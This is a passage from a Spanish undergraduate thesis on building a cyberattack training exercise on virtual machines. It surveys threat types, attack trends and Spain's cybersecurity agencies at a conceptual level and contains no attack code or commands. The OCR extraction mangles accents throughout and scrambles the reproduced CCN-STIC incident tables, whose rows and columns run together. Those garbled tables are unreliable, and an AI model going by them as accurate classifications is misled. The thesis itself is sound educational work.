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RESUMEN

La importancia de la ciberseguridad ha crecido exponencialmente en los Gltimos afios. Todas las
organizaciones y organismos cuya expansion depende en parte de Internet pueden ser objetivo y, en
consecuencia, victimas de ciberataques. Nace asi la necesidad de disponer de personal formado en este
ambito en la actualidad.

Con la finalidad de adiestrar al personal en el campo de la ciberseguridad, en este TFG se disefia e
implementa un ejercicio de ciberataque. Para ello, se propone trabajar en un entorno controlado como
el que nos ofrece una maqueta virtual resultado de un TFG anterior. Se pretende seguir la linea de
trabajo de las diferentes plataformas de retos de ciberseguridad online que podemos encontrar en
Internet y que son objeto de estudio en este trabajo.

El ciberejercicio abordara aspectos variados, como el estudio de paquetes de una red, el uso de la
fuerza bruta para romper contrasefias, escaneo de puertos y servicios, la ingenieria social como medio
de ataque informatico, la esteganografia, etc. Para hacerlo mas atractivo, el trabajo se ha ambientado
en la investigacion de una red yihadista, debido a la actualidad de este tipo de amenazas.

Posteriormente, se presenta la ejecucion del ciberejercicio desde el punto de vista del alumno que
lo realice, finalizando este documento con la presentacion de una serie de conclusiones y lineas
futuras.
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1 INTRODUCCION Y OBJETIVOS

1.1 Introduccidn

Por lo general, existe una necesidad en nuestra vida diaria de proporcionar seguridad a aquello que
creemos que la necesita. “Guarda el dinero en un lugar seguro” o “no dejes eso a la vista, que te lo
roban” son frases que han acompafiado a la gran mayoria de las personas a lo largo de su vida. Pero,
¢qué es lo que entendemos por seguridad?

Hoy en dia el concepto de la seguridad se aplica a nuevos campos. El avance de las tecnologias y
los sistemas informaticos han abierto un mundo diferente, un mundo capaz de recoger todo aquello de
valor y hacerlo perdurable en el tiempo: fotografias y videos digitales capaces de compartirse infinidad
de veces sin deteriorarse, dinero digital con el que comprar desde casa, datos privados almacenados en
nuestro ordenador, y asi, un sinfin de posibilidades que nos ofrece el mundo de Internet en la
actualidad.

En las Gltimas décadas, una gran parte del mundo ha decidido invertir y confiar en las nuevas
tecnologias. Y es que muchas personas no son capaces de imaginar sus vidas sin ellas. Lo que antes era
pura imaginacion, ahora es uno de los pilares de la sociedad. Y no hablamos solo de las personas.
Empresas importantes de marketing y ventas, como es el caso de Amazon [1], viven de su expansién
en lared. Y como ésta, otras miles.

Parece que Internet es una solucién a muchos de los problemas de la vida cotidiana. Proporciona
un canal de comunicacion sencillo, econdmico, rapido y eficiente. Todo parece perfecto, excepto por
un detalle. ;Como proporcionar seguridad a los datos informaticos? En eso consiste la ciberseguridad.

Pero vayamos un poco mas alla, ¢y si ya no hablamos de la seguridad en una compra por Internet,
de tener a buen recaudo nuestros datos bancarios, de la privacidad de nuestros archivos...? ;Y si
hablamos de documentos de secreto de estado, de informacion sensible, de poder provocar/evitar
guerras entre naciones? Este es un campo dentro de la ciberseguridad, que hace referencia a la
seguridad nacional de un pais. Se conoce como ciberdefensa.

Cuando surgio Internet, no se imagind el beneficio y las posibilidades que este nuevo mundo
podria ofrecer. Es por ello que el concepto de la seguridad no fue uno de los factores primordiales, si
no que se afiadiria a posteriori. A medida que van apareciendo agujeros de seguridad y la situacion nos
lo exige, se van tapando: asi es como se construye la seguridad en Internet. Esto nos lleva a una
conclusion: “No existe la seguridad absoluta” [2].
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En los ultimos afios, vista la importancia que esta adquiriendo la red, su vulneracion se esta
convirtiendo en el objetivo de determinadas personas conocidas como hackers, que se dedican a
explotar la vulnerabilidad de la red para obtener asi un beneficio. Este beneficio viene asociado a las
intenciones de los propios hackers. Segun INCIBE (Instituto Nacional de Ciberseguridad) estos
ataques se clasifican en robo de dinero y extorsion cibernética, filtraciones o fuga de datos y
ciberespionaje, ataques a servicios importantes y explotacion de vulnerabilidades de plataformas,
sistemas y protocolos ampliamente utilizados [3].

En 2016, tras los Estados Unidos y Reino Unido, Espafia se convierte en el tercer pais del mundo
que mas ciberataques ha sufrido: un 130% mas que en 2015 [4], lo que lleva a pensar que la seguridad
en la red es algo de actualidad, algo que a dia de hoy sigue siendo un problema y que hay que trabajar
en ello constantemente [5]. Comienza a aparecer entonces una necesidad: disponer del personal con la
formacion necesaria para garantizar seguridad dentro del ciberespacio.

La preocupacion de las empresas, tanto publicas como privadas, de disponer de personal formado
en conocimientos TIC (Tecnologias de la Informacion y Comunicaciones) a dia de hoy crece
exponencialmente. Cada vez son mas las instituciones y organismos que viven, se expanden y se dan a
conocer a través de Internet, o las empresas de telefonia que viven del mundo de las
telecomunicaciones. Poco a poco, negocios extendidos mundialmente comienzan a crecer dentro de la
red y, por consiguiente, a ampliar sus fronteras en el ambito econémico, como podria ser el caso de
Inditex [6] entre muchos otros. Y es que en el ciberespacio se controlan y se mueven cantidades
inimaginables de dinero diariamente. ¢Se imaginan las repercusiones que podrian tener sobre ellas
cualquier ciberatague que les incapacitase para hacer un uso de la red? Probablemente ellas tampoco.
Y no solo hablamos de organismos comerciales; el propio Estado de un pais debe estar capacitado para
controlar el ciberespacio dentro de aquello que le corresponde: redes eléctricas, lineas de transporte,
centrales de energia... Un simple fallo debido a un ciberataque podria sumir en el caos a una nacion.

Esta es la razon principal por la cual todos los organismos y empresas prestan una atencion
especial al personal TIC, creando departamentos especificos en sus instituciones con las competencias
requeridas para garantizar la seguridad informatica. Y al igual que los ciberataques van evolucionando
y siendo perfeccionados, los conocimientos en ciberseguridad también. En la actualidad, es continuo el
interés y la inversién por parte de dichos organismos en la formacidn de este personal [7].

El propio Estado espafiol cuenta con el CCN-CERT [8] (Centro Criptolégico Nacional- Computer
Emergency Response Team), organismo por excelencia que se encarga de la proteccion de las
infraestructuras criticas dentro del &mbito informatico.

También debemos mencionar al MCCD [9] (Mando Conjunto de CiberDefensa), que es el
organismo responsable del planeamiento y la ejecucion en lo que respecta a ciberdefensa en las redes y
sistemas de informacién y telecomunicaciones del Ministerio de Defensa, asi como de contribuir a la
respuesta a ciberamenazas que pudiesen afectar a la Defensa Nacional. En este trabajo se le dara
especial importancia al concepto de ciberdefensa y a la ciberguerra, ya que son estos ciberataques los
que ocupan un mayor porcentaje [10] dentro de los calificados como ataques criticos.

1.2 Ciberdefensa

La ciberdefensa, dentro del campo de la ciberseguridad, hace referencia al conjunto de tecnologias,
actividades e iniciativas de las que un Estado hace uso para la defensa dentro del mundo cibernético.
Este término se encuentra en crecimiento exponencial. Junto con las facilidades y los usos que Internet
y los sistemas informaticos nos ofrecen, viene la utilizacion de estos por parte de los Estados de las
diferentes naciones. Podemos decir que hay una gran cantidad de datos criticos, gestiones, controles...
que se encuentran en fuentes informaticas y cuya seguridad es fundamental, porque siempre existira la
posibilidad de que pudiesen ser explotados por personal no deseado y en beneficio de otras naciones.
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Es por eso que el CCN-CERT, encargado de la defensa de las administraciones publicas de Espafia
contra las amenazas del ciberespacio, requiere de personal altamente cualificado y entrenado en los
diferentes &mbitos de la ciberseguridad. Existen diferentes plataformas donde se disefian ejercicios de
ciberataques y ciberdefensa en los que el personal se puede entrenar. Destacar aqui la nueva
plataforma llamada “Atenea” [11], del CCN vy de caracter publico, basada en los diferentes pilares de
la ciberseguridad: seguridad basica, criptografia y esteganografia, exploiting, andlisis forense, hacking
web, analisis de trafico y reversing. Como ella, existen otras plataformas muy diversas que seran
comentadas en el capitulo dos.

1.3 Objetivos

Entre los numerosos objetivos que persigue este trabajo, destacamos como primordial la propia
elaboracion del ciberejercicio de ataque. Este ciberejercicio se implementara en una maqueta de
maquinas virtuales, en concreto en la maqueta disefiada por el Tte. Romero Fernandez en su
correspondiente Trabajo de Fin de Grado [12], de modo que podamos trabajar en el entorno controlado
y seguro que buscamos.

Otros objetivos secundarios de este trabajo son:

e Revision del estado del arte de plataformas de pentesting para adiestramiento.

e Validacion del correcto funcionamiento de la maqueta de maquinas virtuales en red con un
mayor grado de fiabilidad.

e Introduccién al pentesting y al estudio de péaginas web para aquellas personas con unos
conocimientos informaticos bésicos.

e Otro objetivo implicito serda la concienciacion del personal en la importancia de la
seguridad informatica.

1.4 Estructura de la memoria

En este primer capitulo, se ha pretendido ilustrar el panorama actual en lo que respecta a la
seguridad informatica. Hacer ver la importancia y el impacto que tiene en el presente y en el futuro, y
concienciar de la necesidad de disponer de un entorno seguro dentro de un ciberespacio lleno de
amenazas. Se aborda también el concepto de ciberdefensa dentro de la ciberseguridad, de la
importancia que se le ha de dar, asi como de la importancia de la formacion en este &mbito y de las
posibilidades que se abren a un Estado capaz de controlar el ciberespacio.

En el segundo capitulo se hace una resefia de los ciberataques y ciberincidentes y su evolucion.
Ademas, se describen los principales organismos relacionados con la ciberseguridad nacional asi como
sus principales funciones dentro de este &mbito. Se realiza también un estudio de las plataformas de
adiestramiento de ciberejercicios mas populares. Por Gltimo, se hace una breve introduccion a la
arquitectura de red vy, en relacion con ésta, al software de virtualizacion empleado para virtualizar
dicha arquitectura.

En el tercer capitulo, desarrollamos el ciberejercicio que constituye la base de este TFG. Lo
disefiamos conforme a algunos de los diferentes aspectos del campo de la ciberseguridad, con el fin de
familiarizar y fomentar en el alumno algunos conceptos basicos de las técnicas de pentesting. Se tratan
temas como la esteganografia, el estudio de trazas de paquetes de una red, ataques por fuerza bruta,
ingenieria social, escaneos de puertos y servicios y otros conceptos que hemos considerado
interesantes incorporar.

En el cuarto capitulo, realizamos y validamos el disefio del ciberejercicio implantado en la
maqueta de maquinas virtuales en red, planteando también su ejecucion desde el punto de vista del
alumno que lo desee realizar.
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En el quinto y ultimo capitulo, tras la finalizacion del trabajo, analizamos el grado de
cumplimiento de los objetivos propuestos y exponemos unas conclusiones, asi como unas lineas
futuras que orienten este trabajo para futuras investigaciones y proyectos.
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2 ESTADO DEL ARTE

2.1 Introduccién

Este capitulo comienza presentando una introduccion a las ciberamenazas y su clasificacion.
Dentro de este apartado analizaremos cudl es la tendencia actual y cuéles son los focos de mayor
riesgo de sufrir estas ciberamenazas.

Realizaremos un estudio de los principales organismos nacionales encargados de la ciberseguridad
en Espafia y las caracteristicas y funciones de cada uno de ellos.

Estudiaremos también, con una relacion directa hacia este trabajo, de plataformas online disefiadas
para realizar ejercicios de ciberseguridad y poner en practicas los conocimientos en este campo.

Por ultimo, y con relacion a este tema, se hara una introduccion al concepto de arquitectura de una
red y al software de virtualizacion empleado en este TFG. Es sobre este tipo de simulaciones de red en
el que se desarrollara el trabajo y se disefiard e implementara un ciberataque.

2.2 Ciberamenazas

Dentro del ciberespacio, se pueden identificar una serie de amenazas principales causantes de la
gran mayoria de ciberataques. Estos ciberataques se pueden producir en los diferentes eslabones que
componen un sistema informatico: datos, aplicaciones, sistemas operativos, hardware, red, suministro
de energia o incluso el entorno puede comprometer la ciberinformacién [13].

Acceso fisico a la mdquina: en este caso, el atacante tendria acceso a la maquina de la victima o a
las instalaciones que se quieren atacar. Dentro de las diversas opciones que esto puede ofrecer, se
destacan:

Interrupcion del suministro eléctrico.

Apagado manual del equipo.

Vandalismo.

Apertura manual del equipo y robo del disco duro.
Monitorizacion del trafico de red.

Intercepcion de las comunicaciones: en este caso, el atacante tendria acceso a las comunicaciones
de la victima con la capacidad de secuestrar una sesion, falsificar una identidad (spoofing) o también
redireccionar y alterar mensajes de la red. Relacionados con este tipo de ataques estan los honeypots,
puntos de acceso falsos con el mismo ESSID (Extended Service Set IDentifier) que el punto al que
pretenden replicar, con el fin de que la victima se conecte a las falsas imitaciones. Esto le proporciona
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al atacante la posibilidad de capturar el trafico y obtener informacion sensible como usuarios y
contrasefias.

Otro tipo de ataque muy extendido es conocido como MITM (Man In The Middle), que consiste en
la colocacion del atacante entre el punto de acceso y la victima, siendo asi el propio atacante un punto
de paso del flujo entre punto de acceso y maquina. Permite al atacante capturar la informacion que él
desee o modificarla e interactuar con ella. Hoy en dia existen protocolos que intentan evitar este tipo
de ataques, como HTTPS (Hypertext Transfer Protocol Secure), que es una variante del conocido
HTTP, con la virtud de que cifra la informacion basandose en SSL/TLS (protocolos criptograficos).
Este protocolo impide en gran medida [14] la interpretacion de la informacion capturada por el
atacante.

Denegacidn de servicio (DoS): estos ataques consisten en impedir e inutilizar el uso de un servicio.
Por lo general, los ataques de denegacion de servicio se pueden clasificar en dos tipos:

e Explotacion de las debilidades del protocolo TCP/IP.
e Explotacion de las vulnerabilidades del software del servidor.

En la actualidad, este tipo de ataques ha evolucionado hasta el punto de realizarse a través de miles
o millones de ordenadores atacando a un mismo servidor. Este método emplea lo que se conoce en la
Deep Web con el sobrenombre de redes zombi o botnets, pudiendo utilizar maquinas de usuarios
anonimos infectadas con algun tipo de malware [15]. A este nuevo método de denegacion de servicio
se le conoce como DDoS (Distributed Denial of Service).

Intrusiones: este ataque consiste en explotar alguna vulnerabilidad para tener acceso a la red y
Ilevar a cabo una monitorizacion del flujo de la red a través de una tarjeta de red en modo monitor
(sniffing). Por lo general, este tipo de ataques conlleva un DoS que obligue a la victima a
conectarse de nuevo al servicio, lo que le permite al atacante capturar el handshake (primer paso
para obtener la contrasefia para acceder a la red). Este tipo de ataques tienen como finalidad:

e Analisis de puertos.

e Elevacidn de privilegios: este tipo de intrusion consiste en aprovechar una vulnerabilidad
de alguna aplicacién cuando ésta envia una solicitud especifica (no planeada por su
disefiador). Esto puede generar determinadas situaciones atipicas en las cuales el atacante
puede acceder al sistema con derechos de aplicacion. Un caso conocido en este tipo de
ataques es el desbordamiento de la memoria intermedia (bufer). Un ejemplo es el caso del
“Gusano Morris”, un malware que aprovechd esta vulnerabilidad para averiguar
contrasefias, otorgandole privilegios de root y reproducirse a otras maquinas [16].

e Ataques malintencionados: virus, troyanos, gusanos, etc.

Ingenieria social: éste es un concepto que hasta ahora no se habia mencionado, y se trata de un
ataque al eslab6n mas débil en la cadena de la ciberseguridad: el propio individuo. Muchas veces, ya
sea por desconocimiento e ignorancia o por engafio, las personas generamos nuestras propias
vulnerabilidades en el sistema otorgando de forma indirecta informacion critica (como contrasefias) o
abriendo archivos de origen desconocido (obra del atacante). Cuando esto sucede, ningun dispositivo
puede proteger al usuario contra la falsificacion; solo el sentido comun, la razén y el conocimiento
basico, obra de la cultura general acerca de la seguridad en la informatica, pueden evitar este tipo de
errores.

Puertas trampa: se trata de puertas traseras ocultas en algun programa de software que brindan
acceso al disefiador en todo momento. Muchas veces estas puertas traseras no son intencionadas por
parte del disefiador y su existencia se debe a errores de programacién. Estas vulnerabilidades deben ser
corregidas con rapidez nada mas publicarse para evitar que alguna persona indeseada aproveche la
situacion. Queda en manos de los administradores el estar informado acerca de las actualizaciones de
los programas para limitar el riesgo de este tipo de ataques.
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2.2.1 Tendencias actuales en ciberataques

Dentro del panorama actual, las principales tendencias en ciberataques suelen incurrir en los
siguientes principios:

2.2.1.1 Ciberespionaje

El ciberespionaje se considera la mayor amenaza para la seguridad nacional. El ciberespionaje mas
extendido se encuentra en el ambito econémico, dirigido principalmente a las industrias de los sectores
de defensa, la industria de la fabricacién y empresas dedicadas a la informacion, entre otras, como se
puede ver en la Figura 2-1. El fin es el acceso a avances y desarrollo, teniendo su origen en Estados y
empresas.

Se debe destacar también el ciberespionaje politico y el de los servicios de inteligencia, que
persiguen informacion politica, econdmica o estratégica, como también planes de desarrollo y
posiciones nacionales en torno a negociaciones.

3
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Figura 2-1 Principales victimas del ciberespionaje en 2016 [17]

2.2.1.2 Ciberdelincuencia

La ciberdelincuencia continda en crecimiento, llegando a superar incluso a la delincuencia
tradicional en algunos paises, segin uno de los Gltimos informes de la Europol [18]. En algunos casos,
incluso la poblacidon tiene més preocupacion de sufrir cibercrimen que de sufrir de delincuencia fisica
[19]. La ciberdelincuencia mas comun tiene su origen en diferentes aspectos:

e Ransomware y cryptoware: este tipo de ataque es el que tuvo un mayor crecimiento en
2016, afectando mayoritariamente a los sectores de energia, buscando interrumpir a los
servicios gubernamentales, sanitarios y de telecomunicaciones. Este tipo de ataques se
incremento entre 2015 y 2016 mas de un 375%, llegando a producirse aproximadamente
638 millones de ataques en ese ultimo afio [20].

e Publicidad dafiina: se inserta este tipo de publicidad en paginas web conocidas y de
confianza con el fin de engariar a las personas.

e Ataques a entidades financieras: estos ataques también se han incrementado con el fin de, a
través de lo que se conoce como phishing (obtener credenciales e informacion personal por
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medio del engafio y la astucia), de obtener informacion privada para ser vendida en la
Internet profunda (Deep Web).

Se conoce como Internet profunda (véase en la Figura 2-2) al contenido de Internet que no esta
indexado por los motores de busqueda convencionales debido a diversos factores. Es en esta parte de
Internet donde se encuentra el mayor porcentaje de ciberdelincuencia, ciberterrorismo, pornografia
infantil, venta de contenidos ilicitos, venta de armas, etc [21].
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Figura 2-2 La Deep Web [22]

Sin embargo, no solo las empresas y los organismos mas codiciados son victimas de la
ciberdelincuencia; los usuarios particulares también son objetivos muy comunes. En la Figura 2-3
podemos ver un grafico a modo de resumen del porcentaje de ciberincidentes sufridos en 2017 por la
poblacion espafiola.
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Figura 2-3 Ciberincidentes en Espafia en 2017 [23]
18



DISENO E IMPLEMENTACION DE UN CIBEREJERCICIO DE ATAQUE SOBRE UNA
MAQUETA DE MAQUINAS VIRTUALES EN RED

2.2.1.3 Interrupcion de sistemas

Hoy en dia muchas de las instalaciones industriales con una configuracion insegura en el campo de
la informatica, o conexiones a Internet sin la adecuada vigilancia, son las principales razones para que
se lleven a cabo este tipo de ciberataques:

e Ataques de denegacidn de servicio: consiste, como ya se menciond, en saturar un servicio
con el fin de inutilizarlo. Impedir este tipo de ataques consume muchos recursos a las
empresas y, muchas veces, los atacantes simplemente amenazan con realizar uno para
conseguir un rescate economico a cambio de no llevar a cabo el ataque.

e Sabotaje digital: este tipo de delincuencia suele estar relacionado con el descontento de
antiguos empleados de alguna empresa. Utilizan sus credenciales de acceso para eliminar
informacidn y destruir o deteriorar soportes de almacenamiento.

o Desfiguraciones: consiste en la desfiguracion de las paginas web. Tienen su origen en
motivos ideoldgicos o en la simple demostracion publica de las capacidades de los
atacantes.

e Infraestructuras criticas: los ataques a los Sistemas de Control Industrial (SCI) se
consideran ataques criticos por las consecuencias que pueden conllevar. Los incidentes
confirmados en estos casos son escasos, aunque se han detectado muchas instalaciones
inseguras sin las conexiones a Internet con la vigilancia adecuada.

Como resumen a los ciberincidentes actuales, en la Tabla 2-1 podemos ver como el CCN-STIC
(Centro Criptoldgico Nacional- Seguridad en Tecnologias de la Informacion y Comunicacién) clasifica
los ciberincidentes.

CLASIFICACION DE LOS CIBERINCIDENTES
Descripci on

Clase de ciberincidente

Software cuyo objetivo es infiltrarse o dafar un ordenador, servidor u oo
dispositivo de red, sin el conocimiento de su responsable o usuario y con
finalidades muy diversas.

Ataques dirigidos a poner fuera de servido los sistemas, al objeto de causar
dafos en la productividad y/fo la imagen de Ias institucionas atacadas.

Ataques dirigidos a recabar informacion fundamental que permita avanzar en
ataques mas sofisticados, a traves de ingenieria sodal o de identificacion de
vulnerabilidades.

Atagues dirigidos a la explotacion de vulnerabilidades de disefio, de operadon
o de configuracion de diferentes tecnologias, al objeto de introducirse de
forma fraudulenta en los sistemas de una onganizacon.

Incidentes relacionados con el acceso vy fuga (confidencialidad), modificacion
o borrado (integridad) de informacion no pablica.

Incidentes relacionados con acciones fravdulentas derivadas de suplantacion
de identidad, en todas sus variantes.

Atagues dirigidos a dafar la imagen de la organizacion o a utilizar sus medios
electronicos para otros usos ilicitos (tales como la publicidad, |a extorsion o,
en general la ciberdelincuencial).

Incidentes relacionados por violaciones de usuarios de |as politicas de
seguridad aprobadas por la organizacion.

Otros incidentes no incluidos en los apartados anteriores.

Tabla 2-1 Clasificacion de los ciberincidentes segin CCN-STIC [24]
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2.2.2 Costes de los ciberincidentes y su gestion

Los incidentes de seguridad tienen un alto coste global derivado de varios costes parciales, tales
como: coste econémico, coste de servicio, coste de imagen y reputacion de una organizacion, coste por

sanciones, etc.

Normalmente, los ciberincidentes llevados a cabo por personal con conocimientos informaticos
acaban en algun tipo de rescate economico. De no ser asi, las consecuencias podrian clasificarse segun
los costes mas significativos: tiempo de inactividad (cortes de suministro de energia), costes
economicos (derivados de la respuesta al ciberincidente), pérdida de datos (afecta a la reputacion y a la
intimidad de la empresa) y pérdida de vidas (ataques cibernéticos a hospitales, afectando los registros
de los pacientes). El riesgo de los ataques puede medirse segun se muestra en la Tabla 2-2.

CRITERIOS DE DETERMINACION DEL NIVEL DE PELIGROSIDAD DE LOS CIBERINCIDENTES

VECTOR DE ATAQUE

CARACTERISTICAS POTENCIALES DEL CIBERINCIDENTE

(Ciberaspionaje

- APTs, campafias de malwars, interrupcion de
servicios, compromizo de sistemas de control
industrizal, incidentes especizles, stc.

- Capacidad para exfiltrar informacion muy valiosz, en cantidad
considerable y en poco tiempo.

- Capacidad para tomar &l control de los sisternas sensibles, en
cantidad y en poco tiempo.

Interrupcion de los Servicios IT [ Exfiltracion

- Codigos dafiines confirmados de Alto Impacto (RAT,

- Capacidad para esfiltrar informacion valiosa, en cantidad

Ciberdelito / Suplantacion

MUY ALTO de ko | Compromss de los senacos troyanos enviando di'l:Jf, rootkit, etc) spreciable.
- Atagues externos con Sxito. - Capacidad para tomar &l control de los sistemas sensibles, en
cantidad considerable.
- Codigos dafiinos de Medio Impacto (virus, gusanos,
troyanos).
- Atagues externos — COMpromiso de senvicios no
Toma de control de los sistemas [ Robo y esencizles (DoS / DDoS). ) ) P .
ALTO publicacidn o venta de informacion sustraida / | - Trafico DNS con dominios relacionados con AFTs o - Capacidad para exfiltrar informacion valiosa.

campafias de malwars.

- Accesos no autorizados / Suplantacion / Ssbotaje.
- Crosz-Site Scripting / Inyeccon SOL

- Spear phising / pharming

- Capacidad para tomar &l control de diertos sistemas.

Logro o incremento significativo de
capacidades ofensivas [

Desfiguracion de paginas web [ Manipulacion
de informacion

- Descargas de archivos sospechosos.

- Contactos con dominios o direcciones IP sospechosas.
- Escdneres de vulnerabilidades.

- Codigos dafiinos de Bajo Impacto (adware, spyware,
etc)

- Sniffing [ Ingenieria social.

- Capacidad para exfiltrar un volumen apredable de informacion.
- Capacidad para tomar &l control de algun sistema.

Ataques a la imagen [ menosprecio [ Errores y
fallos

- Politicas.

- Spam sin adjuntos.

- Software desactuzlizado.

- Acoso [ coaccion / comentarios ofensivos.
- Error humanio [ Fallo HW-SW.

- Escasa capacidad para exfiltrar un volumen apreciable de
nformacian.
- Nula o escasa capacidad para tomar e control de sistemas.

Tabla 2-2 Criterios de determinacion de peligrosidad de ciberincidentes [25]

2.2.3 Responsables de los ciberataques

Los actores de los ciberataques pueden dividirse en diferentes grupos, en funcion del objetivo del
ciberataque y de los conocimientos de los que disponen [17]:

Ciberactivismo: ideologias.

Estados: mejorar su posicion geopolitica o estratégica.
Organizaciones criminales: beneficio economico (directo o indirecto).
Organizaciones privadas: ciberespionaje, obtencién de informacion de valor.
Ciberterroristas: alterar el orden social, aterrorizar a la poblacion, influir en politica.
Ciberyihadistas: propaganda, reclutamiento.
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Cibervandalos y script kiddies: evidenciar vulnerabilidades, pirateria. Diversion, retos.
Actores internos: venganza, beneficio econdmico, motivos ideoldgicos.
Ciberinvestigadores: evidenciar debilidades, autoafirmacion.
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2.3 Organismos nacionales de ciberseguridad

El mundo de los ciberataques esta en auge y, a la par, debe estarlo el de la ciberseguridad. Los
hackers saben que los agujeros de seguridad existen y tratan de explotarlos en su beneficio. Debido a la
importancia que esta cobrando el mundo TIC, el nivel de dafio y las ganancias econémicas cada vez
son mayores debido a ciberataques. La ocultacion y la no exposicion del atacante a la hora de delinquir
son factores importantes que juegan en beneficio de los hackers cuando se realiza un ciberataque.

Esta es una problematica que viene solucionandose disponiendo de personal con conocimientos
TIC y formacion adecuada en seguridad informatica, de modo que tengan las capacidades de responder
a estos ciberataques y anularlos. De ahi el interés, mencionado en la introduccién, de las empresas y
organizaciones en disponer de este personal y en invertir dinero para su formacion. En la Figura 2-4,
podemos ver una grafica que representa el aumento de ciberataques en los Gltimos afios en Espafia.

EVOLUCION DE CIBERATAQUES

FUENTE: Dpto. Seguridad Nacional

2013 B

Figura 2-4 Evolucion de ciberataques entre 2009-2016 [26]

A pesar de que esta grafica no siga una proporcién a escala, se puede ver como a principios de
2009 los ciberataques se duplicaban afio tras afio. Sin embargo, a partir de 2015, aunque el mundo de
las ciberataques sigue en aumento, se puede apreciar que la intensidad con la que crecen ya no es la
misma; esto se debe a la inversion en seguridad y a la preocupacion de las organizaciones y
organismos por este tema de actualidad.

2.3.1 CCN-CERT

El CCN-CERT es un organismo espafiol que nace en 2006 en el seno del CCN (Centro
Criptoldgico Nacional), que se encuentra adscrito al CNI (Centro Nacional de Inteligencia) [27]. Este
organismo ostenta la capacidad de respuesta a incidentes de seguridad de la informacion del CCN.

De acuerdo a la normativa (Ley 11/2002 reguladora del CNI, el RD 421/2004 de regulacion del
CCN y el RD 3/2010, de 8 de enero, regulador del ENS (Esquema Nacional de Seguridad), modificado
por el RD 951/2015, de 23 de octubre) que rige al CCN-CERT, éste se encarga de los ciberincidentes
que afecten a sistemas del sector publico, a empresas y organizaciones de interés estratégico y de
cualquier sistema clasificado. Su misién es la de mejorar la ciberseguridad espafiola y responder rapida
y eficientemente a los ciberataques y ciberamenazas. El resultado serd un ciberespacio mas seguro y
confiable [28].
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Debemos destacar también la Estrategia de Ciberseguridad Nacional 2013 [29], proveniente del
DSN (Departamento de Seguridad Nacional) [30], que delimita el entorno del ciberespacio, fija
principios, objetivos y lineas de accion para el logro de la ciberseguridad nacional. Ademas fija la
cooperacion de los organismos con responsabilidades en ciberseguridad, en especial entre el CCN-
CERT, el MCCD y el CERT de Seguridad e Industria.

Es continta la renovacion de informacion de este organismo. Cada dia aparecen informes y
noticias nuevas acerca de la ciberseguridad y de las cuales el CCN-CERT se hace cargo [31]. También
difunde avisos de los Ultimos ciberataques, consejos de caracter publico para aumentar la
ciberseguridad o, incluso, cursos de ciberseguridad para personal interesado en esta materia [32].
Ademas, el CCN-CERT cuenta con una serie de herramientas para evaluar la ciberseguridad a nivel
técnico de una red como podria ser la herramienta CLARA, o con plataformas de desafios de seguridad
informatica para la realizacion de ejercicios, con el fin de entrenar, motivar y fomentar el interés por el
mundo de la ciberseguridad, como podria ser la plataforma ATENEA.

Mas adelante se hara referencia a este tipo de plataformas, ya que el estudio de las mismas
constituye uno de los objetivos de este TFG.

2.3.2 INCIBE

Se trata del Instituto Nacional de Ciberseguridad [33]. Fue fundado en 2006 con el nombre de
Instituto Nacional de Tecnologias de la Comunicacion y pasé a denominarse como INCIBE el 28 de
octubre de 2014. EIl objetivo de INCIBE es desarrollar la Sociedad de la Informacién mediante el
desarrollo de proyectos e innovaciones que tienen su centro de atencion en la ciberseguridad tanto
nacional como internacional [34].

En la Figura 2-5, podemos ver un organigrama de como se estructura el INCIBE.

CONSEJO DE
ADMINISTRACION

SERVICIOS DE | DIRECCION GENERAL

PROTECCION GABINETE
COMUNICACION
I - E 1
SECRETARIA RELACIONES
pae-lay DIRECCION OPERACIONES
| ECONOMICO- | . | UNIDAD DE APOYO
| FINANCIERO | - HSIEMAS
. SERVICIOS
JURIDICO |
DE CIBERSEGURIDAD
SERVICIOS || TecNoLoGIAs DE
GENERALES CIBERSEGURIDAD
|  Recursos || 7aenTo, INpusTRIA Y
HUMANOS APOYO A LA 1+D+i

Figura 2-5 Organigrama de INCIBE [35]

El CERT de Seguridad e Industria, centro de respuesta a incidentes de ciberseguridad operado por
INCIBE, trabaja para mejorar la capacidad de deteccion y alerta temprana de nuevas amenazas, la
respuesta y andlisis de ciberincidentes, aumentar el disefio de medidas preventivas para atender a las
necesidades de la sociedad en general y a las necesidades de seguridad de las infraestructuras criticas,
de apoyo en la investigacion y lucha frente a ciberdelitos y ciberterrorismo [36].
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2.3.3 MCCD

La Directiva de Defensa Nacional de 2012 establece que el Ministerio de Defensa participe en el
impulso de la ciberseguridad, en el marco de los principios que se establecen en la Estrategia de
Ciberseguridad Nacional. Esto requiere que el Ministerio de Defensa contribuya a la ciberseguridad
nacional, no solo en el ambito militar. Por ello y debido al carécter critico de la informacién que
procesan los sistemas de informacion y telecomunicaciones, su multiple dependencia, complejidad
técnica, cantidad y dispersion geogréfica de sus infraestructuras, se requiere la creacion de un MCCD
que dirija y coordine las acciones de las Fuerzas Armadas en este ambito [37].

El MCCD es el 6rgano de la estructura operativa que, subordinado al JEMAD (Jefe de Estado
Mayor de la Defensa), se encarga del planeamiento y ejecucion de las acciones con relacion a la
ciberdefensa en las redes y sistemas de informacion y telecomunicaciones del Ministerio de Defensa
(como se indic6 en la seccion 1.1).

Dentro de sus cometidos, destacan [38]:

e Garantizar el libre acceso al ciberespacio con la finalidad de cumplir las misiones de las
FAS.

e Garantizar integridad, disponibilidad y confidencialidad de la informacion.

e Garantizar el funcionamiento de los servicios criticos de los sistemas de informacion y
telecomunicaciones de las FAS.

e Obtener, analizar y explotar la informacidn sobre ciberataques y ciberincidentes.

e Ejercer la respuesta oportuna, legitima y proporcionada en el ciberespacio en el ambito de
la Defensa Nacional.

e Dirigir y coordinar en materia de ciberdefensa los diferentes centros de respuesta de los
Ejércitos y la Armada y el de operaciones de seguridad de la informacion del Ministerio de
Defensa.

e Representar al Ministerio de Defensa en materia de ciberdefensa en el ambito nacional e
internacional.

e Cooperar en materias de ciberdefensa con otros centros nacionales de respuesta, segun lo
que determinen las estrategias y politicas de ciberseguridad en vigor.

e Definir, dirigir y coordinar la concienciacién, la formacion y el adiestramiento
especializado en materia de ciberdefensa.

A dia de hoy, el MCCD sigue trabajando e invirtiendo en ciberdefensa con el fin de reforzar a las
FAS y al propio Gobierno en la lucha contra las ciberamenazas. Se tiene previsto en 2018 crear un
cuerpo de ciberdefensa que dependa del MCCD [39].

2.4 Plataformas de ejercicios de ciberseguridad

Como parte de los objetivos de este TFG, a continuacion mencionaremos algunas de las
plataformas en las que los usuarios pueden realizar diferentes ejercicios de ciberseguridad. Estos
gjercicios tienen como fin fomentar y desarrollar el interés por el &mbito de la ciberseguridad, entrenar
